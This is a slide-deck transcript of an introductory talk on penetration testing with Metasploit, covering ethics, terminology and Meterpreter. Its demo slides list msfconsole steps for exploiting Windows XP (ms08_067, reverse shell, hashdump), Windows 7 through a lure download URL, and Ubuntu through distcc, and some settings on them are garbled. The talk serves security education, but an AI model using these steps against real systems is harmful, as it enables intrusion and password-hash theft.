This document discusses penetration testing using the Metasploit framework. It provides an overview of Metasploit, describing it as an open-source platform for developing security tools and exploits. It also discusses key Metasploit components like exploits, payloads, and Meterpreter. The document demonstrates how to use Metasploit to perform penetration tests against Windows XP, Windows 7, and Ubuntu systems through examples of specific exploits.

1. Pen-Testing With MetasploitBy -Mohammed Danish Amber

2. AGENDA ▪ Why & What's Pen-Testing ▪ About Metasploit ▪ Metasploit Basic & Meterpreter ▪ Demo

3. Mohammed Danish Amber ▪ Geek & Security Analyst ▪ Information Security Enthusiast ▪ Working in TCS ▪ Lecturer & Engineer ▪ Collaborative Project -Hacker Ecosystem ▪ Make Internet a Secure Place

4. Why Pen-Testing ▪ Millions of dollars have been invested in security programs to protect critical infrastructure to prevent data breaches ▪ Penetration Test is one of the most effective ways to identify weaknesses and deficiencies in these programs

5. What's Pen-Testing ▪ A method to evaluate the security of computer system / network ▪ Practice ( attacking ) an IT System like a ‘hacker’ does– Find security holes (weaknesses) – Bypass security mechanism– Compromise an organization’s IT system securityMUST HAVE PERMISSION FROM IT SYSTEM OWNERILLEGAL ACTIVITY CAN PUT YOU IN JAIL!

6. ETHICS ▪ THINK BEFORE YOU ACT ▪ DON'T BE STUPID ▪ DON'T BE MALICIOUS

7. PEN-TESTING PHASES
INFORMATION GATHERING
VULNERABILITY ANALYSIS
EXPLOITATION
POST EXPLOITATION
REPORTING

9. Metasploit ▪ Not Just A Tool but an entire framework ▪ An Open Source platform for writing security tools and exploits ▪ Easily build attack vectors to add it's exploits, payloads, encoders. ▪ Create and execute more advanced attack ▪ Ruby based

10. Metsaploit Interface ▪ MSFconsole ▪ msfweb, msfgui (discontinued) ▪ Metasploit Pro & Community Edition ▪ Armitage

11. MSFconsole

12. MSFcli

13. Metasploit Terminology ▪ Exploit: Code that allow a pentester take some advantages of flaw within system,application, or service ▪ Payload: Code that we want the target system to execute (few commands to be executed on the target system) ▪ Shellcode: A set of instructions used as payload when exploitation occurs ▪ Module: A software that can be use by metasploit ▪ Listener: A component waiting for incoming connection

14. How does Exploitation works
Attacker
Sends: Exploit + PayloadUpload + download DATA
Vulnerable Server
Exploit run + Payload run

15. Meterpreter ▪ As a payload after vulnerability is exploited ▪ Improve the post exploitation

16. Meterpreter
Exploiting a vulnerability
Select a meterpreter as a payload
Meterpreter shell

17. Metereperter Commands

18. Metereperter Commands

19. Metereperter Commands

20. Metereperter Commands

21. Metereperter Commands

22. Windows XP Exploitation ▪ msf > search windows/smb ▪ msf > info exploit/windows/smb/ms08_067_ netapi ▪ msf > use exploit/windows/smb/ms08_067_ netapi ▪ msf exploit(ms08_067_netapi) > show payloads ▪ msf exploit(ms08_067_netapi) > set PAYLOAD ▪ windows/meterpreter/reverse_tcp ▪ msf exploit(ms08_067_netapi) > show options ▪ msf exploit(ms08_067_netapi) > set RHOST <remote ip> ▪ msf exploit(ms08_067_netapi) > set LHOST <attacker ip> ▪ msf exploit(ms08_067_netapi) > show options ▪ msf exploit(ms08_067_netapi) > exploit ▪ meterpreter > background ▪ session -l

23. Windows XP Exploitation ▪ session -i 1 ▪ meterpreter > getsystem -h ▪ getuid ▪ hashdump

24. Windows 7 Exploitation ▪ msf > use exploit/windows/browser/ms11_003_ie_css_import ▪ msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp ▪ msf exploit(ms11_003_ie_css_import) > show options ▪ msf exploit(ms11_003_ie_css_import) > set SRVHOST <victim ip> ▪ msf exploit(ms11_003_ie_css_import) > set SRVPORT 80 ▪ msf exploit(ms11_003_ie_css_import) > set URIPATH free_iphone6plus.exe ▪ msf exploit(ms11_003_ie_css_import) > set LHOST <victim ip> ▪ msf exploit(ms11_003_ie_css_import) > set LPORT 443 ▪ msf exploit(ms11_003_ie_css_import) > exploitJust wait until the victim open url http://<ip>:80/free_iphon6plus.exe

25. Windows 7 Exploitation ▪ msf exploit(ms11_003_ie_css_import) > sessions -l ▪ msf exploit(ms11_003_ie_css_import) > sessions -i 1 ▪ meterpreter > sysinfo ▪ meterpreter > shell

26. Ubuntu Exploitation ▪ search distcc ▪ use exploit/unix/misc/distcc_exec ▪ show payloads ▪ set PAYLOAD cmd/unix/reverse ▪ show options ▪ set rhost <victim ip> ▪ set lhost <attacker ip>

27. Any Questions?

28. Thanks To ▪ Kali / BackTrack Linux ▪ Metasploit Team (HD Moore & rapid7) ▪ Offensive Security / Metasploit Unleashed ▪ David Kennedy ▪ Georgia Weidman ▪ Null Hyderabad Chapter -CORE TEAM ▪ #nullhyd @

29. WWW.MOHAMMEDDANISHAMBER.COM